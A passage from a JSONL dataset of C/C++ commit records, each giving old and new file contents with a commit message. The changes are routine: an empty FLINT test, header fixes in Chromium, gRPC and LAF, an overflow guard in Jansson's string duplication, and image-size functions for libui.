<1c08efb9b3965701be9d700d9a6f481f1ffec3ea@spy.net>\n","lang":"C","license":"apache-2.0","repos":"zbase\/ep-engine,daverigby\/kv_engine,couchbase\/ep-engine,abhinavdangeti\/ep-engine,hisundar\/ep-engine,couchbaselabs\/ep-engine,owendCB\/ep-engine,daverigby\/kv_engine,jimwwalker\/ep-engine,abhinavdangeti\/ep-engine,couchbaselabs\/ep-engine,couchbase\/ep-engine,daverigby\/kv_engine,sriganes\/ep-engine,jimwwalker\/ep-engine,couchbase\/ep-engine,membase\/ep-engine,daverigby\/ep-engine,abhinavdangeti\/ep-engine,zbase\/ep-engine,sriganes\/ep-engine,teligent-ru\/ep-engine,membase\/ep-engine,owendCB\/ep-engine,jimwwalker\/ep-engine,membase\/ep-engine,teligent-ru\/ep-engine,owendCB\/ep-engine,abhinavdangeti\/ep-engine,zbase\/ep-engine,hisundar\/ep-engine,couchbaselabs\/ep-engine,jimwwalker\/ep-engine,teligent-ru\/ep-engine,hisundar\/ep-engine,daverigby\/ep-engine,daverigby\/ep-engine,daverigby\/kv_engine,zbase\/ep-engine,zbase\/ep-engine,sriganes\/ep-engine,membase\/ep-engine,couchbase\/ep-engine,owendCB\/ep-engine,daverigby\/ep-engine,sriganes\/ep-engine,teligent-ru\/ep-engine,couchbaselabs\/ep-engine,couchbaselabs\/ep-engine,abhinavdangeti\/ep-engine,hisundar\/ep-engine"}
{"commit":"2929c302e27280a7060fc35e1bf1f82719066909","old_file":"fmpz_mpoly\/test\/t-init.c","new_file":"fmpz_mpoly\/test\/t-init.c","old_contents":"","new_contents":"\/*\n    Copyright (C) 2016 William Hart\n\n    This file is part of FLINT.\n\n    FLINT is free software: you can redistribute it and\/or modify it under\n    the terms of the GNU Lesser General Public License (LGPL) as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.  See <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <gmp.h>\n#include \"flint.h\"\n#include \"fmpz.h\"\n#include \"fmpz_mpoly.h\"\n#include \"ulong_extras.h\"\n\nint\nmain(void)\n{\n    int i;\n    FLINT_TEST_INIT(state);\n\n    flint_printf(\"void....\");\n    fflush(stdout);\n\n    \/* Check aliasing of a and c *\/\n    for (i = 0; i < 1000 * flint_test_multiplier(); i++)\n    {\n    }\n\n    FLINT_TEST_CLEANUP(state);\n    \n    flint_printf(\"PASS\\n\");\n    return 0;\n}\n\n","subject":"Add empty test to prevent build system complaining.","message":"Add empty test to prevent build system complaining.\n","lang":"C","license":"lgpl-2.1","repos":"dsroche\/flint2,dsroche\/flint2,fredrik-johansson\/flint2,wbhart\/flint2,fredrik-johansson\/flint2,dsroche\/flint2,wbhart\/flint2,dsroche\/flint2,fredrik-johansson\/flint2,wbhart\/flint2"}
{"commit":"33b703740fd3ade5192bb61492b14cf5cfcebc2c","old_file":"InputState.h","new_file":"InputState.h","old_contents":"#ifndef INPUTSTATE_H\n#define INPUTSTATE_H\n\n#include <SDL2\/SDL.h>\n#undef main\n#include <map>\n\nclass InputState\n{\npublic:\n\tenum KeyFunction { KF_EXIT, KF_FORWARDS, KF_BACKWARDS, KF_ROTATE_SUN };\n\n\tInputState();\n\tvoid readInputState();\n\tbool getKeyState(KeyFunction f);\n\tint getAbsoluteMouseX() { return mouse_x; };\n\tint getAbsoluteMouseY() { return mouse_y; };\n\tfloat getMouseX() { return (float)mouse_x \/ (float)w; };\n\tfloat getMouseY() { return (float)mouse_y \/ (float)h; };\n\n\tint w, h;\n\tint mouse_x, mouse_y;\n\nprivate:\n\tUint8 *keys;\n\tUint8 key_function_to_keycode[3];\n};\n\n#endif\n","new_contents":"#ifndef INPUTSTATE_H\n#define INPUTSTATE_H\n\n#include <SDL2\/SDL.h>\n#undef main\n#include <map>\n\nclass InputState\n{\npublic:\n\tenum KeyFunction { KF_EXIT, KF_FORWARDS, KF_BACKWARDS, KF_ROTATE_SUN };\n\n\tInputState();\n\tvoid readInputState();\n\tbool getKeyState(KeyFunction f);\n\tint getAbsoluteMouseX() { return mouse_x; };\n\tint getAbsoluteMouseY() { return mouse_y; };\n\tfloat getMouseX() { return (float)mouse_x \/ (float)w; };\n\tfloat getMouseY() { return (float)mouse_y \/ (float)h; };\n\n\tint w, h;\n\tint mouse_x, mouse_y;\n\nprivate:\n\tUint8 *keys;\n\tUint8 key_function_to_keycode[4];\n};\n\n#endif\n","subject":"Fix InputSize symbol array size.","message":"Fix InputSize symbol array size.\n","lang":"C","license":"mit","repos":"pstiasny\/derpengine,pstiasny\/derpengine"}
{"commit":"11d45b0090be38423587ef8d1a0215937932223e","old_file":"src\/memory.c","new_file":"src\/memory.c","old_contents":"\/*\n * Copyright (c) 2009-2012 Petri Lehtinen <petri@digip.org>\n * Copyright (c) 2011-2012 Basile Starynkevitch <basile@starynkevitch.net>\n *\n * Jansson is free software; you can redistribute it and\/or modify it\n * under the terms of the MIT license. See LICENSE for details.\n *\/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"jansson.h\"\n#include \"jansson_private.h\"\n\n\/* memory function pointers *\/\nstatic json_malloc_t do_malloc = malloc;\nstatic json_free_t do_free = free;\n\nvoid *jsonp_malloc(size_t size)\n{\n    if(!size)\n        return NULL;\n\n    return (*do_malloc)(size);\n}\n\nvoid jsonp_free(void *ptr)\n{\n    if(!ptr)\n        return;\n\n    (*do_free)(ptr);\n}\n\nchar *jsonp_strdup(const char *str)\n{\n    char *new_str;\n\n    new_str = jsonp_malloc(strlen(str) + 1);\n    if(!new_str)\n        return NULL;\n\n    strcpy(new_str, str);\n    return new_str;\n}\n\nvoid json_set_alloc_funcs(json_malloc_t malloc_fn, json_free_t free_fn)\n{\n    do_malloc = malloc_fn;\n    do_free = free_fn;\n}\n","new_contents":"\/*\n * Copyright (c) 2009-2012 Petri Lehtinen <petri@digip.org>\n * Copyright (c) 2011-2012 Basile Starynkevitch <basile@starynkevitch.net>\n *\n * Jansson is free software; you can redistribute it and\/or modify it\n * under the terms of the MIT license. See LICENSE for details.\n *\/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"jansson.h\"\n#include \"jansson_private.h\"\n\n\/* memory function pointers *\/\nstatic json_malloc_t do_malloc = malloc;\nstatic json_free_t do_free = free;\n\nvoid *jsonp_malloc(size_t size)\n{\n    if(!size)\n        return NULL;\n\n    return (*do_malloc)(size);\n}\n\nvoid jsonp_free(void *ptr)\n{\n    if(!ptr)\n        return;\n\n    (*do_free)(ptr);\n}\n\nchar *jsonp_strdup(const char *str)\n{\n    char *new_str;\n    size_t len;\n\n    len = strlen(str);\n    if(len == (size_t)-1)\n        return NULL;\n\n    new_str = jsonp_malloc(len + 1);\n    if(!new_str)\n        return NULL;\n\n    strcpy(new_str, str);\n    return new_str;\n}\n\nvoid json_set_alloc_funcs(json_malloc_t malloc_fn, json_free_t free_fn)\n{\n    do_malloc = malloc_fn;\n    do_free = free_fn;\n}\n","subject":"Fix integer overflow in jsonp_strdup()","message":"Fix integer overflow in jsonp_strdup()\n\nFixes #129.\n","lang":"C","license":"mit","repos":"AmesianX\/jansson,markalanj\/jansson,Vorne\/jansson,OlehKulykov\/jansson,bstarynk\/jansson,simonfojtu\/FireSight,markalanj\/jansson,firepick1\/jansson,chrullrich\/jansson,Mephistophiles\/jansson,markalanj\/jansson,firepick-delta\/FireSight,liu3tao\/jansson,rogerz\/jansson,firepick1\/FireSight,liu3tao\/jansson,firepick-delta\/FireSight,simonfojtu\/FireSight,Mephistophiles\/jansson,simonfojtu\/FireSight,attie\/jansson,rogerz\/jansson,akheron\/jansson,firepick1\/FireSight,slackner\/jansson,wirebirdlabs\/featherweight-jansson,slackner\/jansson,firepick-delta\/FireSight,OlehKulykov\/jansson,wirebirdlabs\/featherweight-jansson,attie\/jansson,npmccallum\/jansson,akheron\/jansson,rogerz\/jansson,firepick1\/jansson,npmccallum\/jansson,firepick1\/jansson,chrullrich\/jansson,bstarynk\/jansson,Vorne\/jansson,akheron\/jansson,AmesianX\/jansson,rogerz\/jansson,bstarynk\/jansson,firepick1\/FireSight"}
{"commit":"8f020cf00dff0ae6d40f68ba7f901c1c0f784093","old_file":"ui\/base\/ime\/character_composer.h","new_file":"ui\/base\/ime\/character_composer.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_BASE_IME_CHARACTER_COMPOSER_H_\n#define UI_BASE_IME_CHARACTER_COMPOSER_H_\n#pragma once\n\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/string_util.h\"\n\nnamespace ui {\n\n\/\/ A class to recognize compose and dead key sequence.\n\/\/ Outputs composed character.\n\/\/\n\/\/ TODO(hashimoto): support unicode character composition starting with\n\/\/ Ctrl-Shift-U. http:\/\/crosbug.com\/15925\nclass CharacterComposer {\n public:\n  CharacterComposer();\n  ~CharacterComposer();\n\n  void Reset();\n\n  \/\/ Filters keypress.\n  \/\/ Returns true if the keypress is recognized as a part of composition\n  \/\/ sequence.\n  bool FilterKeyPress(unsigned int keycode);\n\n  \/\/ Returns a string consisting of composed character.\n  \/\/ Empty string is returned when there is no composition result.\n  const string16& composed_character() const {\n    return composed_character_;\n  }\n\n private:\n  \/\/ Remembers keypresses previously filtered.\n  std::vector<unsigned int> compose_buffer_;\n\n  \/\/ A string representing the composed character.\n  string16 composed_character_;\n\n  DISALLOW_COPY_AND_ASSIGN(CharacterComposer);\n};\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_BASE_IME_CHARACTER_COMPOSER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_BASE_IME_CHARACTER_COMPOSER_H_\n#define UI_BASE_IME_CHARACTER_COMPOSER_H_\n#pragma once\n\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/string_util.h\"\n#include \"ui\/base\/ui_export.h\"\n\nnamespace ui {\n\n\/\/ A class to recognize compose and dead key sequence.\n\/\/ Outputs composed character.\n\/\/\n\/\/ TODO(hashimoto): support unicode character composition starting with\n\/\/ Ctrl-Shift-U. http:\/\/crosbug.com\/15925\nclass UI_EXPORT CharacterComposer {\n public:\n  CharacterComposer();\n  ~CharacterComposer();\n\n  void Reset();\n\n  \/\/ Filters keypress.\n  \/\/ Returns true if the keypress is recognized as a part of composition\n  \/\/ sequence.\n  bool FilterKeyPress(unsigned int keycode);\n\n  \/\/ Returns a string consisting of composed character.\n  \/\/ Empty string is returned when there is no composition result.\n  const string16& composed_character() const {\n    return composed_character_;\n  }\n\n private:\n  \/\/ Remembers keypresses previously filtered.\n  std::vector<unsigned int> compose_buffer_;\n\n  \/\/ A string representing the composed character.\n  string16 composed_character_;\n\n  DISALLOW_COPY_AND_ASSIGN(CharacterComposer);\n};\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_BASE_IME_CHARACTER_COMPOSER_H_\n","subject":"Fix link error when component=shared_library is set","message":"Fix link error when component=shared_library is set\n\n\nBUG=103789\nTEST=Manual\n\n\nReview URL: http:\/\/codereview.chromium.org\/8515013\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@109554 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"keishi\/chromium,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,keishi\/chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,robclark\/chromium,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,ondra-novak\/chromium.src,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,littlstar\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,patrickm\/chromium.src,Chilledheart\/chromium,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,rogerwang\/chromium,hujiajie\/pa-chromium,robclark\/chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,robclark\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,M4sse\/chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,markYoungH\/chromium.src,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,rogerwang\/chromium,dednal\/chromium.src,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,littlstar\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,hujiajie\/pa-chromium,robclark\/chromium,anirudhSK\/chromium,Just-D\/chromium-1,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,rogerwang\/chromium,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,mogoweb\/chromium-crosswalk,robclark\/chromium,keishi\/chromium,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,nacl-webkit\/chrome_deps,patrickm\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,dednal\/chromium.src,keishi\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,littlstar\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,littlstar\/chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk,robclark\/chromium,krieger-od\/nwjs_chromium.src,ltilve\/chromium,anirudhSK\/chromium,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,dushu1203\/chromium.src,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,Fireblend\/chromium-crosswalk,rogerwang\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,robclark\/chromium,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,keishi\/chromium,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,robclark\/chromium,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,anirudhSK\/chromium,keishi\/chromium,axinging\/chromium-crosswalk,ltilve\/chromium,Jonekee\/chromium.src,anirudhSK\/chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,markYoungH\/chromium.src,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,markYoungH\/chromium.src,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,Chilledheart\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,rogerwang\/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,keishi\/chromium,patrickm\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,keishi\/chromium,ltilve\/chromium,jaruba\/chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,dednal\/chromium.src,Jonekee\/chromium.src"}
{"commit":"580305a8cda0cb85ee837cf8d8a15ee80ba0c41d","old_file":"cint\/include\/iosfwd.h","new_file":"cint\/include\/iosfwd.h","old_contents":"#ifndef G__IOSFWD_H\n#define G__IOSFWD_H\n#include <iostream.h>\ntypedef basic_streambuf<char, char_traits<char> > streambuf;\n#endif\n","new_contents":"#ifndef G__IOSFWD_H\n#define G__IOSFWD_H\n#include <iostream.h>\n#endif\n","subject":"Undo change proposed by Philippe. Too many side effects.","message":"Undo change proposed by Philippe. Too many side effects.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@5468 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT"}
{"commit":"f3d275984b116f79fbb8568e72d1707ef12230c5","old_file":"unix\/image.c","new_file":"unix\/image.c","old_contents":"\/\/ 13 september 2016\n#include \"uipriv_unix.h\"\n\nstruct uiImage {\n\tuiUnixControl c;\n\tGtkWidget *widget;\n};\n\nuiUnixControlAllDefaults(uiImage)\n\nuiImage *uiNewImage(const char *filename)\n{\n\tuiImage *img;\n\n\tuiUnixNewControl(uiImage, img);\n\n\timg->widget = gtk_image_new_from_file(filename);\n\n\treturn img;\n}\n","new_contents":"\/\/ 13 september 2016\n#include \"uipriv_unix.h\"\n\nstruct uiImage {\n\tuiUnixControl c;\n\tGtkWidget *widget;\n};\n\nuiUnixControlAllDefaults(uiImage)\n\nvoid uiImageSetSize(uiImage *i, unsigned int width, unsigned int height)\n{\n\tGdkPixbuf *pixbuf;\n\n\tpixbuf = gtk_image_get_pixbuf(GTK_IMAGE(i->widget));\n\tpixbuf = gdk_pixbuf_scale_simple(pixbuf,\n\t\twidth,\n\t\theight,\n\t\tGDK_INTERP_BILINEAR);\n\tgtk_image_set_from_pixbuf(GTK_IMAGE(i->widget), pixbuf);\n\tg_object_unref(pixbuf);\n}\n\nvoid uiImageGetSize(uiImage *i, unsigned int *width, unsigned int *height)\n{\n\tGdkPixbuf *pixbuf;\n\n\tpixbuf = gtk_image_get_pixbuf(GTK_IMAGE(i->widget));\n\t*width = gdk_pixbuf_get_width(pixbuf);\n\t*height = gdk_pixbuf_get_height(pixbuf);\n}\n\nuiImage *uiNewImage(const char *filename)\n{\n\tuiImage *img;\n\n\tuiUnixNewControl(uiImage, img);\n\n\timg->widget = gtk_image_new_from_file(filename);\n\n\treturn img;\n}\n","subject":"Implement getting and setting uiImage size in Gtk","message":"Implement getting and setting uiImage size in Gtk\n","lang":"C","license":"mit","repos":"sclukey\/libui,sclukey\/libui"}
{"commit":"af7c239ac6629f7bd102b3e648c0dd86c2054407","old_file":"os\/gl\/gl_context_nsgl.h","new_file":"os\/gl\/gl_context_nsgl.h","old_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2022  Igara Studio S.A.\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_GL_CONTEXT_NSGL_INCLUDED\n#define OS_GL_CONTEXT_NSGL_INCLUDED\n#pragma once\n\n#include \"os\/gl\/gl_context.h\"\n\nnamespace os {\n\nclass GLContextNSGL : public GLContext {\npublic:\n  GLContextNSGL();\n  ~GLContextNSGL();\n\n  void setView(id view);\n\n  bool isValid() override;\n  bool createGLContext() override;\n  void destroyGLContext() override;\n  void makeCurrent() override;\n  void swapBuffers() override;\n\n  id nsglContext() {\n    return m_nsgl;\n  }\n\nprivate:\n  id m_nsgl = nil; \/\/ NSOpenGLContext\n  id m_view = nil; \/\/ NSView\n};\n\n} \/\/ namespace os\n\n#endif\n","new_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2022  Igara Studio S.A.\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_GL_CONTEXT_NSGL_INCLUDED\n#define OS_GL_CONTEXT_NSGL_INCLUDED\n#pragma once\n\n#include \"os\/gl\/gl_context.h\"\n\nnamespace os {\n\nclass GLContextNSGL : public GLContext {\npublic:\n  GLContextNSGL();\n  ~GLContextNSGL();\n\n  void setView(id view);\n\n  bool isValid() override;\n  bool createGLContext() override;\n  void destroyGLContext() override;\n  void makeCurrent() override;\n  void swapBuffers() override;\n\n  id nsglContext() {\n    return m_nsgl;\n  }\n\nprivate:\n  id m_nsgl = nullptr; \/\/ NSOpenGLContext\n  id m_view = nullptr; \/\/ NSView\n};\n\n} \/\/ namespace os\n\n#endif\n","subject":"Replace nil with nullptr in GLContextNSGL to compile correctly","message":"[osx] Replace nil with nullptr in GLContextNSGL to compile correctly\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"46e2418fc661eb2d58272c995d8579ec67accf69","old_file":"packages\/grpc-native-core\/ext\/completion_queue.h","new_file":"packages\/grpc-native-core\/ext\/completion_queue.h","old_contents":"\/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include <grpc\/grpc.h>\n#include <v8.h>\n\nnamespace grpc {\nnamespace node {\n\ngrpc_completion_queue *GetCompletionQueue();\n\nvoid CompletionQueueNext();\n\nvoid CompletionQueueInit(v8::Local<v8::Object> exports);\n\n}  \/\/ namespace node\n}  \/\/ namespace grpc\n","new_contents":"\/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include <grpc\/grpc.h>\n#include <v8.h>\n\nnamespace grpc {\nnamespace node {\n\ngrpc_completion_queue *GetCompletionQueue();\n\nvoid CompletionQueueNext();\n\nvoid CompletionQueueInit(v8::Local<v8::Object> exports);\n\nvoid CompletionQueueForcePoll();\n\n}  \/\/ namespace node\n}  \/\/ namespace grpc\n","subject":"Update completion queue header to match code changes","message":"Update completion queue header to match code changes\n","lang":"C","license":"apache-2.0","repos":"grpc\/grpc-node,grpc\/grpc-node,grpc\/grpc-node,grpc\/grpc-node"}
